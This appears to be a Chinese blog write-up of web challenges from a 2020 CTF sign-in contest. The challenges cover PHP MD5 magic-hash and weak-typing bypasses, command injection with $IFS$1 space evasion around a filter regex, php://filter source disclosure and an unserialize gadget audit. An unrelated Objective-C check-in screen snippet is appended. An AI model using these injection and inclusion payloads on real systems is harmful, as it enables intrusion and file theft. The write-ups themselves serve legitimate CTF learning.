2020-09-03签到赛

super_easy_web

<?php
highlight_file('index.php');
include('flag.php');
//try to reach the flag in variable
if(isset($_GET['a'])&&isset($_GET['b'])&&isset($_GET['c'])&&isset($_GET['d'])){
    if($_GET['a']!=$_GET['b']&&md5($_GET['a'])==md5($_GET['b'])){
        echo 'welcome to lv2';
        $c=$_GET['c'];
        $d=$_GET['d'];
        if($c==123456&&$c!==123456){
            echo $$d;
        }
    }
}

两层绕过,分别是md5绕过和弱类型绕过

第一层(md5绕过)

数组绕过:
a=1&b=[]=2

利用php中十六进制和科学计数法的漏洞
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

第二层弱类型绕过
利用十六进制
在这里插入图片描述
将数字123456化成十六进制的字符串

最后构造的payload:

http://47.115.145.200:2031/index.php/?a=240610708&b=s878926199a&c=0x1e240&d=flag

1P1P

打开看见
在这里插入图片描述
想到强网杯那题,主动,想到命令注入
注入ls命令看目录
在这里插入图片描述
打开flag.php发现打不开
想到应该在mid.php找信息
cat mid.php
在这里插入图片描述
发现不能出现空格,要过滤

参考
大佬博客

在这里插入图片描述
用$IFS$1代替空格
得到

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/bash/", $ip)){
    die("no your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print($a);
}

不能出现flag
用变量绕过

?ip=127.0.0.1; $ a=g;cat$IFS$1fla $ a.php(无空格)
要在F12看flag
在这里插入图片描述

依旧开心哈哈哈

在这里插入图片描述
想到文件包含
?content=php://filter/read=convert.base64-encode/resource=index.php
得到一串base64编码
解码后得到

<?php

error_reporting(0);
echo("You know include(\$content),right?");
echo("<br>");
echo("try '?content=/flag/flag.php'???nonono!not so easy!");
echo("<br>");
echo("try to view source of index first!");
echo("<br>");
echo("use php-filter! bro<br>");

//highlight_file(__FILE__);

if(isset($_GET['content']))
{
    $content = $_GET['content'];
    if($content=="index.php")die("There will be a bug,try another way~");

    if(substr($content,0,strlen("/flag/"))==="/flag/"||substr($content,0,strlen("flag/"))==="flag/"||substr($content,0,strlen("./flag/"))==="./flag/")
        die("hack me???");


    else
        include ($content);//flag in the /flag/flag.php
}
?>

然后又是不能出现【flag】,想了很久还是没想到,着实不知道

Very_Ez_Unserialize

在这里插入图片描述
没看懂这个hint?
打开看到的代码,是代码审计

<?php
show_source("index.php");
class A{
    public $a='0';
    public function __construct()
    {
        $this->a='';
    }
    public function __destruct()
    {
        echo $this->a.'';
    }
    public function sp(){
        return 'eagle 1, fox2';
    }
}

class B{
    public $b = '';
    public function __construct()
    {
        $this->b=new A;
    }
    public function __toString()
    {
        return $this->b->sp();
    }
}
class C{
    public $c='echo \'welcome\';';
    public function sp()
    {
       return eval($this->c);
    }

    public function getc($t){
        $this->c=$t;
    }
}

$s=unserialize($_GET['a']);

对反序列化完全没有头脑

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是Objective-C纯代码实现签到界面的示例代码: ```objective-c #import "CheckInViewController.h" @interface CheckInViewController () @property (nonatomic, strong) UILabel *titleLabel; @property (nonatomic, strong) UIButton *checkInButton; @end @implementation CheckInViewController - (void)viewDidLoad { [super viewDidLoad]; // 设置背景颜色 self.view.backgroundColor = [UIColor whiteColor]; // 添加标题 self.titleLabel = [[UILabel alloc] initWithFrame:CGRectMake(0, 100, self.view.frame.size.width, 30)]; self.titleLabel.text = @"今日签到"; self.titleLabel.textAlignment = NSTextAlignmentCenter; [self.view addSubview:self.titleLabel]; // 添加签到按钮 self.checkInButton = [[UIButton alloc] initWithFrame:CGRectMake(0, 0, 150, 50)]; self.checkInButton.center = self.view.center; [self.checkInButton setTitle:@"签到" forState:UIControlStateNormal]; [self.checkInButton setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal]; [self.checkInButton setBackgroundColor:[UIColor blueColor]]; [self.checkInButton addTarget:self action:@selector(checkInButtonClicked) forControlEvents:UIControlEventTouchUpInside]; [self.view addSubview:self.checkInButton]; } - (void)checkInButtonClicked { // 处理签到逻辑 NSLog(@"签到成功!"); } @end ``` 这段代码中,我们创建了一个`CheckInViewController`类,其中包括`titleLabel`和`checkInButton`两个控件。在`viewDidLoad`方法中,我们设置了背景颜色,并添加了标题和签到按钮。当用户点击签到按钮时,我们在`checkInButtonClicked`方法中处理签到逻辑,并在控制台输出签到成功的日志。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值